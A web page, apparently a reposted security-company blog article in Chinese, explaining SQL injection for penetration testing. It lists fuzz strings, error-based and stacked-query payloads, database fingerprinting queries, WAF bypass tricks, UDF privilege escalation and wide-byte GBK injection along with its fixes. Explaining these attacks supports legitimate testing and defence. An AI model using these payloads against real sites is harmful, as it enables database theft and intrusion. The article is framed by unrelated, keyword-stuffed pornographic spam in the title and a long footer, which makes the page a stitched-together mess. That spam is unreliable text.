少妇被粗黑进进出出在线观看_日日摸夜夜爽无码_免费久久_日韩免费视频_热播短剧玫瑰冠冕免费观看_japanese精品少妇

滲透測試對網站注入攻擊方法剖析
  • 更新時間:2025-05-13 16:31:53
  • 開發經驗
  • 發布時間:3年前
  • 541

國慶即將到來,前一期講到獲取網站信息判斷所屬環境以及各個端口的用處和弱口令密碼利用方法,這期仍有很多客戶找到我們Sine安全想要了解針對于SQL注入攻擊的測試方法,這一期我們來講解下注入的攻擊分類和使用手法,讓客戶明白漏洞是如何產生的,會給網站安全帶來怎樣的影響!


3.1 SQL注入漏洞

3.1.1. 注入分類

SQL注入是一種代碼注入技術,用于攻擊數據驅動的應用程序。在應用程序中,如果沒有做恰當的過濾,則可能使得惡意的SQL語句被插入輸入字段中執行(例如將數據庫內容轉儲給攻擊者)。


3.1.1.1. 按技巧分類

根據使用的技巧,SQL注入類型可分為


盲注

布爾盲注:只能從應用返回中推斷語句執行后的布爾值

時間盲注:應用沒有明確的回顯,只能使用特定的時間函數來判斷

報錯注入:應用會顯示全部或者部分的報錯信息

堆疊注入:有的應用可以加入 ; 后一次執行多條語句

其他


3.1.1.2. 按獲取數據的方式分類

另外也可以根據獲取數據的方式分為3類

inband

利用Web應用來直接獲取數據

如報錯注入

都是通過站點的響應或者錯誤反饋來提取數據

inference

通過Web的一些反映來推斷數據

如布爾盲注和堆疊注入

也就是我們通俗的盲注,

通過web應用的其他改變來推斷數據

out of band(OOB)

通過其他傳輸方式來獲得數據,比如DNS解析協議和電子郵件


3.1.2. 注入檢測

3.1.2.1. 常見的注入點

GET/POST/PUT/DELETE參數

X-Forwarded-For

文件名

3.1.2.2. Fuzz注入點

' / "

1/1

1/0

and 1=1

" and "1"="1

and 1=2

or 1=1

or 1=

' and '1'='1

+ - ^ * % /

<< >> || | & &&

~

!

@

反引號執行

3.1.2.3. 測試用常量

@@version

@@servername

@@language

@@spid

3.1.2.4. 測試列數

例如 域名/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回

3.1.2.5. 報錯注入

select 1/0

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

extractvalue(1, concat(0x5c,(select user())))

updatexml(0x3a,concat(1,(select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select user())a)b))

GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的報錯注入

GeometryCollection((select * from (select * from(select user())a)b))

polygon((select * from(select * from(select user())a)b))

multipoint((select * from(select * from(select user())a)b))

multilinestring((select * from(select * from(select user())a)b))

LINESTRING((select * from(select * from(select user())a)b))

multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函數的報錯注入在MySQL 5.5.49后的版本已經不再生效,具體可以參考這個 commit 95825f 。

而以上列表中基于geometric的報錯注入在這個 commit 5caea4 中被修復,在5.5.x較后的版本中同樣不再生效。

3.1.2.6. 堆疊注入

;select 1

3.1.2.7. 注釋符

#

--+

/*xxx*/

/*!xxx*/

/*!50000xxx*/

3.1.2.8. 判斷過濾規則

是否有trunc

是否過濾某個字符

是否過濾關鍵字

slash和編碼

3.1.2.9. 獲取信息

判斷數據庫類型

and exists (select * from msysobjects ) > 0 access數據庫

and exists (select * from sysobjects ) > 0 SQLServer數據庫

判斷數據庫表

and exsits (select * from admin)

版本、主機名、用戶名、庫名

表和字段

確定字段數(Order By Select Into)

表名、列名

3.1.2.10. 測試權限

文件操作

讀敏感文件

寫shell

帶外通道

網絡請求

3.1.3. 權限提升

3.1.3.1. UDF提權

UDF(User Defined Function,用戶自定義函數)是MySQL提供的一個功能,可以通過編寫DLL擴展為MySQL添加新函數,擴充其功能。

當獲得MySQL權限之后,即可通過這種方式上傳自定義的擴展文件,從MySQL中執行系統命令。

3.1.4. 數據庫檢測

3.1.4.1. MySQL

sleep sleep(1)

benchmark BENCHMARK(5000000, MD5('test'))

字符串連接

SELECT 'a' 'b'

SELECT CONCAT('some','string')

version

SELECT @@version

SELECT version()

識別用函數

connection_id()

last_insert_id()

row_count()

3.1.4.2. Oracle

字符串連接

'a'||'oracle' --

SELECT CONCAT('some','string')

version

SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1

3.1.4.3. SQLServer

WAITFOR WAITFOR DELAY '00:00:10';

SERVERNAME SELECT @@SERVERNAME

version SELECT @@version

字符串連接

SELECT 'some'+'string'

常量

@@pack_received

@@rowcount

3.1.4.4. PostgreSQL

sleep pg_sleep(1)

3.1.5. 繞過技巧

編碼繞過

大小寫

url編碼

html編碼

十六進制編碼

unicode編碼

注釋

// -- -- + -- - # /**/ ;%00

內聯注釋用的更多,它有一個特性 /!**/ 只有MySQL能識別

e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

只過濾了一次時

union => ununionion

相同功能替換

函數替換

substring / mid / sub

ascii / hex / bin

benchmark / sleep

變量替換

user() / @@user

符號和關鍵字

and / &

or / |

HTTP參數

HTTP參數污染

id=1&id=2&id=3 根據容器不同會有不同的結果

HTTP分割注入

緩沖區溢出

一些C語言的WAF處理的字符串長度有限,超出某個長度后的payload可能不會被處理

二次注入有長度限制時,通過多句執行的方法改掉數據庫該字段的長度繞過

3.1.6. SQL注入小技巧

3.1.6.1. 寬字節注入

一般程序員用gbk編碼做開發的時候,會用 set names 'gbk' 來設定,這句話等同于

set

character_set_connection = 'gbk',

character_set_result = 'gbk',

character_set_client = 'gbk';

漏洞發生的原因是執行了 set character_set_client = 'gbk'; 之后,mysql就會認為客戶端傳過來的數據是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執行的。但是直接用 set names 'gbk' 的話real_escape是不知道設置的數據的編碼的,就會加 %5c 。此時server拿到數據解碼 就認為提交的字符+%5c是gbk的一個字符,這樣就產生漏洞了。

解決的辦法有三種,第一種是把client的charset設置為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這里就會把編碼的信息保存在和數據庫的連接里面,就不會出現這個問題了。第三種就是用pdo。如果期間想要滲透測試自己的網站安全性,可以聯系專業的網站安全公司來處理解決,國內推薦Sinesafe,綠盟,啟明星辰等等的網站安全公司,還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那么admin%32在代碼里面不等于admin,在數據庫比較會等于admin。

我們專注高端建站,小程序開發、軟件系統定制開發、BUG修復、物聯網開發、各類API接口對接開發等。十余年開發經驗,每一個項目承諾做到滿意為止,多一次對比,一定讓您多一份收獲!

本文章出于推來客官網,轉載請表明原文地址:https://www.tlkjt.com/experience/7595.html
推薦文章

在線客服

掃碼聯系客服

3985758

回到頂部

主站蜘蛛池模板: 伦一理一级一a一片_av亚洲av影院av天堂_日本三级在线观看网站_国产AV国片偷人妻麻豆郑州公司_亚洲免费二区三区_免费看片一区二区三区 | 18禁裸体女免费观看_六月婷婷综合激情_亚洲AV中文无码乱人伦_给我免费播放片在线中国_一级片啪啪_欧美成人片在线 | 久久久久久91香蕉国产_国产免费1卡2卡_女高中生边自慰边呻吟_四虎精品影视_精品国产成人一区二区_最好看2019高清中文字幕视频 | 精品人妻伦一品二品三品免费视频_国产精品久免费的黄网站_精品国产综合成人亚洲区2022_欧美日韩亚洲精品瑜伽裤_在线看片毛片无码永久免费_日本中文字幕在线观看视频 | 国产人妻777人伦精品HD_激情五月婷婷基地_精品亚洲成a人片在线观看_国产一区二区三区精品毛片_成人免费网站在线_亚洲爱爱网 | 国产SUV精品一区_中文字幕日韩欧美精品高清在线_另类视频一区_亚洲av午夜福利精品一区人妖_免费人成视频x8x8国产_岛国黄色片 | av黄鳝钻进女人下面_操比免费视频_国产91综合一区在线观看_黄色免费高清视频_99国产欧美精品久久久蜜芽_丰满爆乳在线播放 最近中文字幕高清mv在线视频_亚洲阿v天堂无码z2018_伊人天天久大香线蕉AV色_国产乡下妇女做爰视频_亚洲一级片网站_国产精一品亚洲二区在线播放 | 81精品久久久久久久婷婷_国产日韩精品一区二区三区_国产av色区_zzzwww在线看片免费_亚洲国产精品无码中文字满_www久久日com | 色翁荡息又大又硬又粗视频_久久国产亚洲AV无码_国产精品va_窝窝影院午夜看片_真人一级毛片_欧美高清在线视频一区二区 | 91射网站_91性生活视频_6699www免费人成在线观看_国产免费一区二区三区不卡_成人性生交免费看国产_男女www视频 | 国产精品久久7777_亚洲aⅴ乱码精品成人区_午夜黄色在线观看_99精品推荐_米奇狠狠狠888_免费永久看黄在线观看 手机免费av片在线观看_日韩手机看片_欧美在线一区二区视频_免费人成在线观看欧美精品_亚洲精品黄色_李宗瑞国产福利视频一区 | 97超碰人人做人人爽3d_黄色片免费看._免费观看日韩毛片_中文字幕在线观看视频网站_亚洲精品久久五月天堂_亚洲色偷偷综合亚洲AV伊人 | 一级日本片_亚洲国产一区自拍_色678黄网站全部免费_av日韩成人_午夜小毛片_一区二区三区国 | 国产美女精品一区_免费看国产片在线观看_芭乐视频在线播放_囯产乱色国产精品免费视频_超碰97色_伊人日韩 | 午夜爽爽久久久毛片_韩国美女三级_欧美国产一二区_欧美日韩国产一区精品一区_91福利视频网_蜜桃传媒AV免费观看麻豆 | 日韩av怡红院_99久热在线精品视频观看_秋霞毛片_日本XXwwWXXXX网站_香港黄色录像片_成人免费共享视频 | 91九色蝌蚪视频_国产亚洲精品九九久在线观看_99国产香蕉视频_黄色一级在线_99精品综合加勒比在线观_国产av无码亚洲avh | 久久午夜精品福利一区二区_日本高清免费aaaaa大片视频_韩日毛片_国产精品99久久久久久猫咪_久久本道综合久久伊人_天天做夜夜操 | 18女人性高朝床叫视频_午夜3点看的视频_日本网站在线播放_欧美乱码一区二区_国产精品人妻无码久久久免费看_日本涩涩视频 | 男人边吃奶摸下激烈免费视频_人人爽久久涩噜噜噜av_性姿势108式大全_a级黄色免费观看_色综合91久久精品中文字幕_91精品国产乱码久久久 | 久久久久久久久久免费高清_黄色激情视频网站_欧美一级别_亚洲精品91_爱臀av_97人妻无码一区二区精品免费 | 蜜桃视频一区二区三区在线观看_CHINESE青年大学生GAY18_美日韩成人_国产精品日韩欧美一区二区三区_久久综合五月丁香六月丁香_黄色片子一级 | 高潮喷水无码中文字幕_国产精品XXX在线_无码永久免费AV网站_男人日女人网站_樱花草日本在线WWW官网_一区二区三区四区精品视频 | 黄色v片_亚洲精品在线观_一区二区我不卡_无遮挡边摸边吃奶边做视频免费_日韩爱爱网_无码少妇一区二区三区免费看 | 男人边吃奶摸下激烈免费视频_人人爽久久涩噜噜噜av_性姿势108式大全_a级黄色免费观看_色综合91久久精品中文字幕_91精品国产乱码久久久 | 91精品91久久久久久_a在线一区_性迷宫在线播放_欧美在线视频一二三区_久久99精品国产自在现线_久久精品超碰 | 亚洲综合成色_国产成人AV在线免播放观看新_国产偷∨国产偷∨精品视频_欧美日韩亚洲色图_国产h在线看_国产日韩麻豆 | 国产igao激情视频入口_国产色情一区二区视频_久久爱9191_一区二区视频在线观看_亚洲精品免费在线视频_美日韩在线观看 | 2020国自产拍精品露脸快速_亚洲日韩国产欧美一区二区三区_99精品久久久久久久_久久春色_亚洲精品一二区_国产成人精品免高潮在线观看 | 国产综合视频在线播放_黑人精品一区二区三区_免费一级国产_国产夜色_人与性口牲恔配视频免费观看_亚洲午夜大片 | 国产91对白在线播放_黄色成人在线免费观看_精品字幕_久久综合se_国产日韩视频一区二区三区_av免费在线看网站 | 免播放器在线观看av_精品久久999国产免费_国产棈品久久久久久久久久免费看_caoporn视频在线观看_麻豆一区二区在我观看_9九色桋品熟女内射 | 在线看的av_狠狠色噜噜狠狠色综合久_日本特一级片_琪琪SEE色原网色原网站18_久久久久免费精品21毛片_66av视频 | 久久大香伊蕉在人线免费AV_fc2成人免费视频_日本无码V视频一区二区_国产三级久久三级久久_色久视频在线播放_国产日产一区二区三区四区五区介绍 | 亚洲美女高清aⅴ视频免费_欧美va亚洲va_日本三级香港三级人妇99_高清免费a级在线观看国产_成人少妇影院yyyy_久久精品96入口 | 国产精品视频永久免费播放_亚洲精品一区二区三区_女被c黄扒衣服视频_美女黄网_国产成人精品福利网站_亚洲拍宾馆视频播放 | 亚洲精品无吗_一本色道久久综合一_中文字幕精品一区二区三区在线_中文字幕亚洲天堂_无码专区—va亚洲v天堂麻豆_偷拍视频免费看 | 欧美精品一卡_免费91九色网_麻豆果冻传媒新剧国产短视频_日韩第1页_亚洲一区二区动漫_久久久av网站 | 男人边吃奶摸下激烈免费视频_人人爽久久涩噜噜噜av_性姿势108式大全_a级黄色免费观看_色综合91久久精品中文字幕_91精品国产乱码久久久 | 国产一区精选播放022_成年人高清视频在线观看_把腿张开抹春药调教男男_亚洲精品AA片在线观看国产_91社区影院_露脸国产精品自产拍在线观看 | 亚洲国产一成人久久精品_新婚人妻扶着粗大强行坐下_国产亚洲视频在线观看网址_偷偷操av_caoporn-草棚在线视频最_亚洲区精品区日韩区综合区 |